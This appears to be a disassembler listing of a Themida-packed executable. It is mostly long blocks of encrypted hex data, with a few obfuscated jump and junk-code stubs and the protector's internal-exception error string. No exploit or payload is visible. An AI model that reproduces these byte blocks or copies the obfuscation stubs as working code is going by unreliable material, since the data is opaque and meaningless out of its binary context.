		dd 7082C7FEh, 0FD9C1977h, 2E7EE7DBh, 4797B790h,	7D9F35CAh
		dd 2638A1C4h, 0A8068960h, 8279F658h, 50C47D9Fh,	7AF7D5E7h
		dd 0C399A45Dh, 0D270C029h, 3349DDF5h, 80053756h, 7986A16Ch
		dd 0EA8ACC20h, 5B9B99D9h, 63ED5h, 6E906800h, 0CBEBC4DAh
		dd 2B452137h, 8EA28197h, 0ED09E4FAh, 0E17A8059h, 4056EA06h
		dd 9EB44866h, 16AAC0h, 0C4770B23h, 3FE09714h, 296E13A5h
		dd 6179569Ah, 657F5B29h, 4136B315h, 0D1442A0h, 967092A4h
		dd 0A50519F8h, 183FB40h, 0D2F5072Bh, 3FA1F1BDh,	46663FDDh
		dd 7308730Eh, 0DF144234h, 7B6B6476h, 2913A5B1h,	0DEBA88C0h
		dd 0B1F070C4h, 9496A15h, 5C683h, 0E608E000h, 43633C52h
		dd 0A3BD99AFh, 61AF90Fh, 65815C72h, 59F2F8D1h, 0B8CE627Eh
		dd 162CC0DEh, 788E2238h, 3CEF839Bh, 3F680F8Ch, 0A1E613A5h
		dd 6C424D12h, 253B9F1Ch, 0F05913A5h, 0F40EEAB8h, 1645CAA0h
		dd 0BD43836Ah, 57Bh, 9D31532Bh,	0FA8EAE87h, 5AEE08E4h
		dd 0BD516544h, 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh
		dd 0E6C3D96Dh, 0D7873ACEh, 0A53FA55Ah, 5DEC3113h, 1C6C424Dh
		dd 24DB58BAh, 0B21442A0h, 5E3E3749h, 0F413A525h, 0C5FCC484h
		dd 1D768EECh, 2A3B17E5h, 0A5B2D6ADh, 0C21B8413h, 16BA066Eh
		dd 951B5B6Ah, 517h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h
		dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh,	4A273DD1h
		dd 3BEB9E32h, 0A50039BEh, 0C1509513h, 11617956h, 0A04D32AFh
		dd 0A0091442h, 1DFAC88Eh, 23FFCD05h, 2803D109h,	0CE95D40Ch
		dd 3BB8DA96h, 0D4B2500Bh
		dd 0B592ACBEh, 16F3099Dh, 6719C6FEh, 0F21442A0h, 40DE9DC9h
		dd 1C364866h, 0B993273Fh, 2A87B47h, 7D8F2E8Bh, 366E8663h
		dd 0DF738B68h, 5126A305h, 0FD14424Fh, 126B8561h, 0FCB2DD00h
		dd 36CD4AACh, 6914424Fh, 0B720718Fh, 404AC7A5h,	0E13A65Ch
		dd 3FC06DA5h, 8C13A7A3h, 0A7BF9C3Ah, 25C2D46Fh,	1AC23D61h
		dd 36D4D877h, 132F0A5Dh, 0D5E782BAh, 6036h, 0F4925F00h
		dd 0F9C7FF17h, 33CE061Ah, 0EAA5C8DAh, 639BB591h, 0A0AF54D1h
		dd 0C22B1442h, 5EC01069h, 0CAEBF9ECh, 128F34F2h, 1442DC6Dh
		dd 9B2780E9h, 9790A2C2h, 13A6D5D1h, 51FE369Fh, 13A626AEh
		dd 0A959CB1Dh, 334B287Eh, 261287D3h, 0F7E1239h,	0A0B20BF3h
		dd 0E41B4303h, 0F1D8772Bh, 0DEh, 6A79561Ah, 42A016EDh
		dd 25BC414h, 6F1040B2h,	0C0FBAE89h, 3F1AE8AEh, 0E759EB23h
		dd 5FC6ADFFh, 0BFD9EB83h, 187ACAE2h, 42DBE49Bh,	0A9097214h
		dd 6E642919h, 5E243619h, 79BB390h, 426C2A12h, 0F110ED14h
		dd 4C25DE4Ah, 0A93D960Dh, 8F6BB693h, 0DE41C75h,	5FDC2C82h
		dd 13A6C671h, 0DD98AE20h, 4BE2AEDh, 16AA13F2h, 0C61698F7h
		dd 6610E764h, 22BE13A6h, 58F32B47h, 920FEDFFh, 14408CBEh
		dd 650353BCh, 42623B8Ah, 643F55E9h, 1B8AF448h, 0ABEB6232h
		dd 35625h, 56785000h, 0B3D3ACC2h, 132D091Fh, 768A697Fh
		dd 0D5F1CCE2h, 0C9826841h, 283ED2EEh, 869C304Eh, 0E8FE92A8h
		dd 0AC5FF30Bh, 1F87FFCh, 115613A5h, 77209282h, 8274B01Ah
		dd 50A9C7A1h, 2D49243Eh, 8EA68399h, 424D29FAh, 0E99F1C6Ch
		dd 0A713A6A9h, 0A659063Eh, 2513A6AAh, 0D32C5014h, 4D87807h
		dd 0CBh, 15F4922Dh, 0BA37C901h,	1442A0C5h, 43CF2891h, 7D185064h
		dd 5C74516Bh, 5F7B5624h, 0B6339527h, 1442A1C1h,	1912248Dh
		dd 1442A525h, 6BFF17F4h, 28607855h, 20703E51h, 0A6AB35A3h
		dd 66FA6313h, 16664847h, 40521E99h, 0ABFB6414h,	5B37CC49h
		dd 3AA31B88h, 4AE84A28h, 4E1C546Eh, 0F0025B6Fh,	8FDFFBD6h
		dd 98DA651Dh, 0B9CBB19Bh, 8AA68197h, 33095236h,	71F73762h
		dd 277h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h, 0C1556948h
		dd 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh,	0EAC7DD71h
		dd 0DB8B3ED2h, 0A502995Eh, 61F03513h, 0F5F7B56h, 0A04B30ADh
		dd 6B071442h, 0A03B7391h, 0FD133547h, 0D4AC0120h, 6AC61CA7h
		dd 56AC7D11h, 5B296179h, 0DF26F7Eh, 0C91442A0h,	54730760h
		dd 8523733Bh, 9E7C8EAAh, 0A68BA321h, 5088F113h,	0E4F4CBEh
		dd 756AE8E0h, 0A9447C9Ch, 0BA453E50h, 1113A607h, 0E7184400h
		dd 0B1D87776h, 0BE73A13h, 0C56098F1h, 5314B3h, 4D3D0000h
		dd 7E1C6C42h, 967486A4h, 41D5C234h, 1D1EE562h, 53BC1442h
		dd 7A2394F3h, 0B1A96F68h, 0CA6813A6h, 7049D5EDh, 6B7D1850h
		dd 35D3238Ch, 6F0A4256h, 11EA975Dh, 8213A6BDh, 835189A9h
		dd 9F568EA6h, 7CD49CC8h, 7C833B6Bh, 59D877F4h, 1Bh, 0A0857782h
		dd 88071442h, 0A759D626h, 2D13A680h, 80AB50CDh,	0BE2713A6h
		dd 4D00D165h, 9F1C6C42h, 13A680C9h, 0D2A92688h,	4513A680h
		dd 7E195167h, 0D3B2C42Dh, 2A0326Ah, 4FD0F23h, 13A6807Bh
		dd 0D787BFD0h, 0D877FD28h, 18ADh, 8477D600h, 61442A0h
		dd 58D52589h, 13A680A6h, 97B58F2Dh, 0A93DA685h,	6C424DD8h
		dd 25079F1Ch, 0ED4D13A5h, 0A5268B70h, 85DE4713h, 0A2BA9735h
		dd 0FC1BF80Eh, 62ABA39h, 0C9015A5Ah, 0C1119DF2h, 0F22A4A23h
		dd 0A9F7150h, 2A83EA6Fh, 9ABD3A18h, 0E81442CDh,	0B4912F7Fh
		dd 0CE5328A5h, 96FF1B8Dh, 0B693A93Dh, 72D4669Eh, 0CEEC9310h
		dd 16A1B8Dh, 8DCEE196h,	0F2046D1Bh, 9EEEC0CFh, 0A7C39E3Ch
		dd 9B60DD6Fh, 371B8DCEh, 6A6375CEh, 1C69D94Ch, 473CB91Bh
		dd 1303F126h, 29411EAAh, 654456F1h, 45EAA8FCh, 73B35A4Ah
		dd 92EDh, 1A3C1400h, 77977086h,	0D7F1CDE3h, 3A4E2D43h
		dd 99B590A6h, 8DC62C05h, 0EC0296B2h, 4A60F412h,	0ACC2566Ch
		dd 7023B7CFh, 4BC43C0h,	0D51A13A5h, 75424D46h, 1A851B03h
		dd 0A914A1E0h, 1442BAD2h, 6EBE1780h, 0A53F5AF1h, 77AF1813h
		dd 20B4CCA9h, 0DD152D0Ah, 0CFAF6F30h, 0F6945210h, 54F10317h
		dd 0EDCB6910h, 0CEABC5D7h, 2F0C22B6h, 0DB4DDF17h, 84D20623h
		dd 0FC162811h, 1AD1091Dh, 3F1C0343h, 0A07D9327h, 8CA5088h
		dd 59000000h, 0BA97358Dh, 56BB90A2h, 56245C7Eh,	5B296179h
		dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
		dd 74427A94h, 0EE437B9Bh, 5E1F68h, 24348900h, 3C6768h
		dd 240C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 7468243Ch, 8B07E787h, 0C481240Ch, 4,	243C8B54h, 4C481h
		dd 0AD680000h, 89000073h, 481240Ch, 758CC24h, 8478F20h
		dd 0CC086F81h, 0FF200758h, 835F2434h, 0C8B04C4h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FCD80EE9h, 524D4AFFh
		db 0EEh, 30h
; ---------------------------------------------------------------------------


loc_5BCA7E:				; CODE XREF: Themida_:loc_5BAB28j
		mov	eax, 7E7A575h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 0CD7C7403h, 0E535CDD0h, 950FC465h, 1E641D5Dh, 22601CC6h
		dd 9348B1F1h, 57694CCh,	0B53E9217h, 6B48609Dh, 965C6853h
		dd 0F935850Ch, 0F00E4DC2h, 803F1074h, 0E5489E89h, 2A3C345Ch
		dd 53AABE2h, 0E625DD72h, 6C123ECEh, 0E81D3847h,	12h, 19B1ED0Ch
		dd 0F385CE32h, 98FD8CFBh, 0BB918B52h, 8B666B7Dh, 81665AF8h
		dd 812D74CBh, 692DC2h, 5810F00h, 60000000h, 616160F5h
		dd 1A1E68h, 4880F00h, 66000000h, 59A1F7BFh, 57028BF9h
		dd 10E8h, 0A5BDA200h, 4D0B257Dh, 60D6D809h, 0D6403CDFh
		dd 0FE918h, 7FED0000h, 279D4BC6h, 339AE408h, 5E71F3DBh
		dd 815F5B5Dh, 2BCF46C0h, 0BE93Bh, 796B0000h, 0F293E102h
		dd 52260626h, 0E7C08139h, 66513CACh, 0C081FB8Bh, 48CF6FE1h
		dd 987524BEh, 850F503Bh, 2, 28F90B3h, 0F03EA83h, 0F4AF9BFh
		dd 0E983F1B7h, 8A850F01h, 0FFFFFFFh, 81h, 17E900h, 4E390000h
		dd 7787h, 4 dup(0)
		dd 51DE900h, 0A57D0000h, 0D9EF83h, 5A364CE0h, 0B796AC40h
		dd 1EF90FA3h, 6F956E02h, 6BFF1BF6h, 0C95D7B55h,	2BBFD5B3h
		dd 8C203815h, 0D7AC29D9h, 8313A507h, 7956AF3Eh,	805B2961h
		dd 98761464h, 9DAF4A82h, 7988657Bh, 42A007FCh, 0A6AD314h
		dd 6A119504h, 0FB338C07h, 0D4F0CB69h, 0D0F4FA9Ch, 0ECAE2AE1h
		dd 8A678193h, 0AA83A72h, 0E802142Eh, 53B7EF0Fh,	79EBAED6h
		dd 0F7D36A14h, 0AA0AA5DDh, 96A8BD54h, 0F3879F7Ch, 55E9FFDDh
		dd 134B613Fh, 154D6B45h, 60DF875Eh, 0C2D86C82h,	0A5BD9AE5h
		dd 9567144Ch, 8A14425Bh, 1AE599CDh, 0BBE05B16h,	8Eh, 18F492E4h
		dd 0F5D2ECFEh, 12EF8DDDh, 7522E8FAh, 1442A088h,	0F1A8DC99h
		dd 0A06D128Fh, 1DA1442h, 736DAEBAh, 0AF0F78C9h,	4F7B3E24h
		dd 583345D9h, 0E05BEFA7h, 130h,	0F4925900h, 2EC90115h
		dd 929021Ch, 0A2A03D1h,	0C3A240D2h, 8CDC77AFh, 42A0680Fh
		dd 6B7DE614h, 265E7251h, 2A627C58h, 30687E5Ch, 5B174FCCh
		dd 0D188BC39h, 0EB900D6Fh, 671442A0h, 0A0EC93FEh, 0CE6A1442h
		dd 6A7CD5F5h, 7577750h,	61738D69h, 344C293Fh, 7B56CFA0h
		dd 8059275Fh, 0E0EA2860h, 0EA04E07Eh, 0D7AC17B2h, 831442A0h
		dd 3B6B081Ah, 0EA08E280h, 0EB0517B2h, 6A4F410h,	3BD60E2Ch
		dd 14F10729h, 833AACFCh, 7EEBF0A7h, 49633FCBh, 9E647611h
		dd 0A2DAF4D0h, 0F4FF708h, 0E05BD320h, 8BD5h, 1693F500h
		dd 14429761h, 9D7284EDh, 0B2587B56h, 50DD5BECh,	3A581F9Ch
		dd 8DF61442h, 0D5A3DB34h, 43A7DFF9h, 79DB9EC6h,	423A07FCh
		dd 0A2BC9814h, 157ECF6Ah, 0F20EE903h, 4A6D485Eh, 0E8C44263h
		dd 0EEB26ECEh, 3AC13E8Eh, 981442ECh, 0D09ED62Fh, 0D7A5DDF1h
		dd 0DBA9E1FBh, 0F3AAE202h, 0B431681Ch, 1442ECCFh, 71C9228Bh
		dd 0D7752460h, 11ACE4F8h, 0C40B24FFh, 280CE05Bh, 35000000h
		dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 4617ABC7h,	255D7D56h
		dd 42A08678h, 0A6DE9B14h, 5C1109F6h, 1CEE0h, 56F70000h
		dd 5A28607Ah, 762D657Dh, 9C78E79Fh, 0C0CFEE82h,	0EB219EEEh
		dd 0A913A691h, 5D3A0840h, 0BE9BB145h, 3CC16EA6h, 4813A692h
		dd 0C19E81C5h, 22FF15A9h, 2704D20Ah, 8F99D70Fh,	92CBB02Dh
		dd 0EB8713A6h, 23BEF60Eh, 6B1BB8CAh, 9DB59230h,	9EB8CA65h
		dd 3B15A9C1h, 95A7C19Dh, 77DF45BAh, 0EC92D8h, 14B20000h
		dd 48E31B3Bh, 8FC7DFBCh, 4D0DE2F4h, 9F1C6C42h, 13A6BEFDh
		dd 24F22A93h, 0C19B2F47h, 1C2E4623h, 0D50D2502h, 6DF2A07h
		dd 17558DE6h, 4A27164Eh, 0D40C20FFh, 754CE039h,	0D877F28Ah
		dd 5C4Bh, 444D7400h, 69D1A6Ah, 546BBD5Fh, 8DC5D9B8h, 5E25A2F2h
		dd 0FC9442A0h, 55023A93h, 9442A0AEh, 898DB980h,	0F456A608h
		dd 0A06E1592h, 83EC9442h, 0A0C1B633h, 248D9442h, 5F821912h
		dd 34D0EBBDh, 68033B5Bh, 5FAD7B0Fh, 33000000h, 0B6BA3BC1h
		dd 0B505A899h, 42304338h, 94A60F14h, 39424DBFh,	6D084060h
		dd 9D47C414h, 4313A6B9h, 0F7D4A2DAh, 0A582D1ACh, 61BA558Dh
		dd 815E7408h, 4843169h,	813A6B9h, 815EC185h, 0D9B6D569h
		dd 7C0885D5h, 0E614411Dh, 9A77457Dh, 0BC934A82h, 0AB038C88h
		dd 0C616DE5Bh, 53BC1C6Eh, 0F492EEBFh, 0C8EBFD19h, 1A97E7C7h
		dd 13A5076Ah, 89578FF8h, 0EA0094ACh, 2BBDF50Dh,	0B0CA0B9h
		dd 899BB085h, 0C5954790h, 0DE7C3A63h, 39D6E802h, 2635120Dh
		dd 0A1AD2A9h, 0BE17806Ch, 6316FC6Eh, 359E2707h,	0EEB0123h
		dd 70D0E4C3h, 8C9544BCh, 0D5DB6ECh, 4078946Fh, 704A31AEh
		dd 9F086C0Ah, 0DC6E3446h, 7006FD7Ah, 64D46C0Ah,	82080E47h
		dd 0E939923Eh, 0AAB976Ch, 0C8DA436Ch, 83BBCFAEh, 4ECBD6B5h
		dd 6C0AABA9h, 2B63BC25h, 2F67815Dh, 347C28F1h, 0C1BCE8BFh
		dd 2238CCE4h, 6FF52D45h, 15h, 0D3358DFEh, 42A0A156h, 50CD2D14h
		dd 1442A0ABh, 5365BE27h, 5C7E567Eh, 61795624h, 677D5B29h
		dd 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh
		dd 7B9B7442h, 8953EE43h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 240C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 53240C89h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	68575224h
		dd 15EE76CFh, 3BF7815Fh, 811FB535h, 6201BFC7h, 9CEF8173h
		dd 89299207h, 0CA815FFAh, 225210Bh, 2F38C281h, 0D2F72709h
		dd 80F2814Ah, 89852036h, 0EC815AD1h, 4,	81242489h, 42404h
		dd 515B0000h, 0DD243481h, 8F53313Dh, 0B9510843h, 8, 3181D901h
		dd 53313DDDh, 241C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 7Dh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		xor	edi, [edx]
		mov	eax, 7E7AB7Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 48EC844Dh, 2454D0D0h, 354C50F9h, 36C55EDAh, 7D64ACDh
		dd 3A379313h, 5FFDA48h,	62238A9Bh, 56DC042Eh, 9EFD2D1h
		dd 8A06569h, 4D2365B1h,	359271DDh, 4418E3Eh, 60A51625h
		dd 3235068Eh, 3254FDDEh, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1286E900h, 0BD890000h, 7E40025h, 15F99531h, 858B07E4h
		dd 7E40DE1h, 919531F5h,	3907E41Dh, 0F042444h, 0B785h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8A0FC47Fh, 0Dh, 43CA8160h, 0BB5F862Ch, 7779C680h, 0FDBD8361h
		dd 7E42Bh, 7A840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 140424h, 52420000h, 0FF840C3h, 787h, 0EE806000h
		dd 6161604Ah, 3BDC858Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 93F877C3h, 5655451Bh
		dd 358D9D89h, 11E907E4h, 0C000000h, 8E38EF12h, 24CBB0BBh
		dd 32428B75h, 950A4189h, 61CB8A60h, 0BD89E0FFh,	7E42DF1h
		dd 1DE1858Bh, 39F507E4h, 0F042444h, 3B85h, 11E900h, 0C8C00000h
		dd 882C8571h, 92A19A02h, 6EA97D41h, 0C7CE424Fh,	0E7B09285h
		dd 107h, 15840F00h, 0E9000000h,	10h, 292BF56Dh,	7C439CA3h
		dd 0B6E2EDAFh, 0E0B7B45Eh, 50006A60h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 68C0F62h, 89000000h
		dd 0E4041995h, 27E907h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 9E008C3h, 0E4035195h
		dd 7, 1B800h, 85870000h, 7E7B212h, 0F675C00Bh, 2C2DB5FFh
		dd 858F07E4h, 7E7B08Ah,	0FF6A206Ah, 160195FFh, 0BD8307E4h
		dd 7E40369h, 6A087400h,	4195FF00h, 8307E40Eh, 0E4038DBDh
		dd 0D740107h, 8068h, 0FFFF6A00h, 0E4160195h, 6AF507h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 5C15AAC3h, 32D4162Ah, 8A6004BBh, 2EDB81DAh, 616A34E8h
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 683A4436h, 0B5310864h, 7E431D1h
		dd 2824548Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	9C35343h, 0DED75744h, 897257B9h, 0E412D185h, 0EE86007h
		dd 31000000h, 0B7629DBCh, 4DB230CEh, 0D362A14Ah, 0D995017Dh
		dd 5F07E420h, 6818D29h,	896107E4h, 0E40EE995h, 3CBE07h
		dd 85890000h, 7E423A9h,	25BD8D89h, 740307E4h, 89602424h
		dd 0E42C0DBDh, 8D895107h, 7E42AEDh, 840F6159h, 6, 314D8529h
		dd 0AD6607E4h, 1D759501h, 440307E4h, 6A2424h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DBDDAC3h
		dd 0AF79EEh, 0F5B9301Bh, 3269BD89h, 0E99007E4h,	10h, 94847FBBh
		dd 31233A21h, 9498CF06h, 6CD88F55h, 0F525050h, 28Dh, 0F616000h
		dd 96B06031h, 5A616160h, 8D319058h, 7E42A69h, 0F78408Bh
		dd 78Ah, 1820F00h, 0FC000000h, 0B092BD83h, 0F0007E7h, 15C85h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 56860889h, 8E9A607h, 72000000h, 4B396DE7h
		dd 90887CCEh, 8B0F5250h, 6, 310F5250h, 310F585Ah, 10E9h
		dd 8F1C9000h, 9682F6B9h, 48252802h, 2E69E46Dh, 50585AF7h
		dd 0D3B56060h, 61615F50h, 0B8F0F90h, 60000000h,	820Fh
		dd 0E8800000h, 448B616Ch, 6A2C24h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0C0A5CEC3h, 9E6DCA2Bh
		dd 525090FCh, 11E9h, 58C4300h, 0EC4E88E8h, 0BC0D1FBDh
		dd 4169AD9h, 310FBC83h,	5E9h, 539BFB00h, 585A6837h, 22820F50h
		dd 50000000h, 0BE952h, 0C62E0000h, 6483EC34h, 3D22D845h
		dd 0E9310F13h, 7, 0E6E05ECAh, 5AAAD1D1h, 6A9058h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8B60A6C3h, 0E419D985h, 19D8907h, 6107E426h, 7ED8858Dh
		dd 0FFFC07E7h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 92A377C5h, 8CAACDFBh
		dd 820F2BC2h, 1, 0BD8960FCh, 7E43269h, 0DC5BD29h, 296107E4h
		dd 0E42C3185h, 24440307h, 55006A28h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2AC19683h
		dd 408BFC59h, 51006A18h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0EB3DEA7Fh, 40F9E8ECh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 30C35141h, 85896810h
		dd 7E7B08Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0A7C35646h, 0D26B51A2h,	880F763Ah, 1, 12E958F5h
		dd 8F000000h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h,	0D6E2CD43h
		dd 8501600Ah, 7E41641h,	14E9h, 949A2700h, 96CB4AEFh, 0F54A1919h
		dd 0D91B47A2h, 0EAC77D3Fh, 708B6115h, 5958978h,	8307E415h
		dd 8E91CC6h, 8D000000h,	4B4B64B9h, 9631CDE0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 60C3B3F4h
		dd 0AE1BD8Bh, 0D78107E4h, 5DF52842h, 51858961h,	0E907E42Ch
		dd 14h,	0B177B368h, 0CE62AA03h,	9174EF5h, 0A39BEB62h, 0DFB23A56h
		dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 894780C3h
		dd 86D8590Ch, 2AAD8D89h, 0F5007E4h, 1981h, 14E900h, 7D580000h
		dd 2055173Ah, 0D120993Dh, 0B6C9390Bh, 4B4A6FEBh, 489F441h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 24448BFFh, 52006A28h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4F1F2FB5h
		dd 0F89B82EDh, 90FCDC77h, 800F5250h, 6,	310F5250h, 310F585Ah
		dd 0BE9h, 8BB24E00h, 0A4349E31h, 0F0FA9E3Fh, 0F50585Ah
		dd 0A8Eh, 52506000h, 585A310Fh,	90615F50h, 0D8858DF5h
		dd 6A07E77Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 5229C351h, 7C84A7B2h, 8D8B601Eh
		dd 7E41AD1h, 25859D89h,	896107E4h, 0E4233D9Dh, 29D0FF07h
		dd 0E42EBD95h, 6A9607h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 102FA0C3h, 0FCD85BD1h, 3321B589h
		dd 740307E4h, 95892424h, 7E41E6Dh, 90DBD8Dh, 6A07E4h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0CA99A7C3h, 0B261F503h, 89123514h, 0E41421B5h, 6AAD07h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 475B96C3h, 9E56DFFAh, 10E973h, 0BB020000h, 4D45C334h
		dd 0A0D01E93h, 705426B0h, 7C816723h, 2424h, 870F1000h
		dd 162h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	0E5C35040h, 9E9DC027h, 0BA4ABC48h, 9E96Ch, 753D0000h
		dd 355184AAh, 6017834Dh, 16758589h, 0BDBE07E4h,	61699F8Ch
		dd 10E950h, 0D2560000h,	0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch
		dd 48913BFh, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h
		dd 95B6CD6h, 0E417C585h, 24448B07h, 0BE86028h, 0F5000000h
		dd 1399396h, 269065B1h,	0F18B0C34h, 0CF8B6659h,	870F9061h
		dd 13h,	61605250h, 6E9310Fh, 73000000h,	8B0874D1h, 50585AF7h
		dd 12860Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 60ED5502h, 1499094Ch, 8D09156Ah
		dd 7E4164Dh, 7ED8858Dh,	6A07E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D29C1C3h, 7E42DCDh
		dd 6E9h, 5A887400h, 0FF2B6887h,	51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 78F75D43h
		dd 0D1CC3621h, 958B5760h, 7E419A9h, 6147B75Fh, 22D19501h
		dd 440307E4h, 0ABFC2424h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 50C35040h, 54B5844Eh,	60CBBF19h, 92C08166h
		dd 0FC6061FCh, 24DB8166h, 0FA8161C6h, 10000h, 786820Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0D957A6C3h, 0F8D2B973h, 148C0Fh, 0FE90000h
		dd 1C000000h, 0FA85CFA9h, 69BC3D95h, 0AEAD4BB6h, 0BD8D79E2h
		dd 7E4220Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0B3C35141h, 0ADBE632Ah,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0D3C35343h,	1289C5FDh, 0FE9304Ah
		dd 6000000h, 6ECF2C72h,	69BAC995h, 30A3DD54h, 0DE93531h
		dd 0DC000000h, 0FEAFB719h, 1664BE4Dh, 3971145Eh, 24247C81h
		dd 10000000h, 0C1870Fh,	95890000h, 7E41FD1h, 60525090h
		dd 9E8h, 60853D00h, 0F65A21B4h,	505FC3EDh, 5A310F52h, 310F6158h
		dd 0EE9h, 0D7ECE800h, 49445B9Dh, 0BF5FF71Ah, 5A123CF1h
		dd 0BE95058h, 96000000h, 428995AEh, 0A9EE5DB8h,	99011F9h
		dd 0E42D61B5h, 24448B07h, 0EE928h, 21FA0000h, 0DD678920h
		dd 0F39615C4h, 0F4B658C2h, 0DE990h, 0F0830000h,	0EED8B1AAh
		dd 0EAE3A87Eh, 50A3CA39h, 88B0Fh, 810F0000h, 2,	6A906160h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 129CC351h, 43CC081Fh, 858DF52Ch, 7E77ED8h
		dd 224D8589h, 0D0FF07E4h, 85B501FCh, 307E427h, 6A242444h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 6543C353h, 2DBBE1DAh, 14FDF02Ch, 29ED9529h
		dd 0DE907E4h, 13000000h, 195FC125h, 0CE2C63A0h,	46F3DADFh
		dd 8B606090h, 61FA8BF2h, 61F28B66h, 0F525050h, 28Ah, 0F616000h
		dd 0E9525031h, 5, 0DAFF7A54h, 0E9310F13h, 12h, 1A5163F3h
		dd 5BF9836Fh, 9CB0320h,	2C8C9C9Eh, 585ACB61h, 6A90585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1119C353h, 6F3041EFh, 0A9958979h,	0E907E406h
		dd 10h,	15966F67h, 30BD330h, 3165C884h,	5D34FDD0h, 68D0Fh
		dd 95890000h, 7E40161h,	56006AABh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0AF6B2CAEh, 0A6C9C9A2h
		dd 8DF911D1h, 0E41AF9BDh, 158D8907h, 0AD07E425h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 247C81F9h
		dd 28h,	10870F10h, 6A000001h, 3E85500h,	20000000h, 895DC35Dh
